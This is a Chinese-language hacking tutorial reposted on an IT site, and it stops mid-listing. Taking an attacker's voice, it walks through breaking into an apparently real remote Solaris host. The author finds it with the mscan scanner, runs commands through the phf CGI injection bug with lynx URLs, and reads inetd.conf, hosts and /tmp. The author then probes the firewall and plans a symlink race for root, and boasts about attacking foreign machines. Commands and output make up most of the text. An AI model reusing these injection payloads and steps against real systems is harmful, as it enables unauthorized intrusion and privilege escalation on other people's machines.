频道栏目
首页 > 资讯 > Linux > 正文

攻克UNIX操作系统速成技巧

08-02-04        来源:[db:作者]  
收藏   我要投稿

首先,要用一个工具找你的目标,这样的工具在网上很容易就可以被找到. 
一个著名的工具就是mscan.至于它的用法在它自己的README里有很详细 
的说明,我就不解释了,当然,是英文的 
mscan 会帮你找到一些有明显漏洞的远程主机,用-at参数得到的记录文件是可以 
立即有结果的,根据我的经验,至少有50%的把握能搞定. 
好了,为了开门红,先找最著名的phf bug吧. 
test# more co.xx.log|grep phf|more 
xx.xx.xx.xx VULN: runs /cgi-bin/phf. haha! 
.... 
.... 
哇塞!这么多,一个一个来!这个domain area的机器真是#@!#@. 
先就第一个吧,首先,看看他用什么起的httpd.如果是root,那就没意思了 
你想干什么就干什么,还黑个头啊.这里就把victim给 shadow吧,不然他也太没 
面子了,当然,我不是坏蛋,国内的主机太弱,黑起来无趣.//shy. 国外的啦 
test#lynx xx.xx.xx.xx/cgi-bin/phf?Qalias=x%0aid 
Query Results 

/usr/local/bin/ph -m alias=x id 
uid=60001(nobody) gid=60001(nobody) 
en..是nobody啊,这增加了点难度,不过没关系,越有难度的机器越有意思. 
而且无论如何不是已经等于有shell了吗,接着来!看看victim运行了什么os. 
test#lynx xx.xx.xx.xx/cgi-bin/phf?Qalias=x%0auname%20-a 
Query Results 

/usr/local/bin/ph -m alias=x uname -a 
SunOS host1 5.5 Generic sun4m sparc SUNW,SPARCstation-4 
en..是sun solaris 2.5,sun公司的bug可不少啊,不过到现在为止我们还没有 
上去获得 shell,那么,再看看这个机器上跑了什么服务. 
test#lynx xx.xx.xx.xx/cgi-bin/phf?Qalias=x%0acat%20/etc/inet/inetd.conf 
下面的结果太多了,我就挑选几个有用的吧 
#OLD#telnet stream tcp nowait root /usr/sbin/in.telnetd in.teln 
etd 
#OLD#ftp stream tcp nowait root /usr/local/etc/ftpd in.ftpd 
#TIS#ftp stream tcp nowait root /usr/local/etc/netacl in.ftpd 
#TIS#telnet stream tcp nowait root /usr/local/etc/netacl in.telne 

ftp stream tcp nowait root /usr/sbin/in.ftpd in.ftpd 
telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd 

shell stream tcp nowait root /usr/sbin/in.rshd in.rshd 
login stream tcp nowait root /usr/sbin/in.rlogind in.rlogind 
exec stream tcp nowait root /usr/sbin/in.rexecd in.rexecd 
en..看样子似乎没防备,不过不应该这么简单的,看看它的hosts. 
test#lynx xx.xx.xx.xx/cgi-bin/phf?Qalias=x%0acat%20/etc/inet/hosts 
127.0.0.1 localhost 
xx.xx.xx.xx host1 loghost 
xx.xx.xx.x host1-gw-firewall 
呵呵,有firewall啊,这就有点头疼了,看看这个firewall上允许什么服务穿越. 
test#telnet xxxx.xx.xx.xx 
Trying xx.xx.xx.xx.......... 
test#rlogin -l root xxx.xx.xx.x 
test#ftp xxx.xx.xx.xx 
test#rpcinfo -p xx.xx.xx.xx 
乖乖龙的,没反应 
en.看来是不允许外来的任何服务的,麻烦!只好用phf来慢慢看看.当然也不 
是没有可能黑不掉,but管理员如果太信任firewall,就容易出差错. 
虽然可以利用这个phf来搞一个exploit,但是比较麻烦,我们先来看symlink. 

test#lynx xx.xx.xx.xx/cgi-bin/phf?Qalias=x%0als%20-la%20/tmp 
Query Results 

/usr/local/bin/ph -m alias=x ls -la /tmp 
total 26 
drwxrwxrwt 2 sys sys 109 Apr 24 04:05 . 
drwxr-xr-x 25 root root 1024 Apr 24 13:38 .. 
-rw-rw-r-- 1 root sys 4856 Mar 25 18:39 ps_data 
-rw-rw-rw- 1 root root 0 Apr 24 02:17 license_log 
嘿嘿,有门,这个license_log的属主是root,看来这个管理员没注意lincese_serve 
的tmp race问题.好,再看看它是不是已经在/下面放了.rhosts来防备这个问题. 
(这里知道看/tmp.或者/var/tmp是经验啦,不是瞎蒙的,至于什么/etc/passwd 
我没什么兴趣,反正上不去,看了也没用,现在phf就等于有一个户头了) 

test# lynx xx.xx.xx.xx/cgi-bin/phf?Qalias=x%0als%20-la%20/ 
Query Results 

/usr/local/bin/ph -m alias=x ls -la / 
total 621 
drwxr-xr-x 25 root root 1024 Apr 24 13:38 . 
drwxr-xr-x 25 root root 1024 Apr 24 13:38 .. 
-rw-r--r-- 1 root 

相关TAG标签
上一篇:江民提醒:春节谨防 拜年 病毒和网络钓鱼
下一篇:RealPlayer被指为 恶意软件 未提示捆绑插件
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站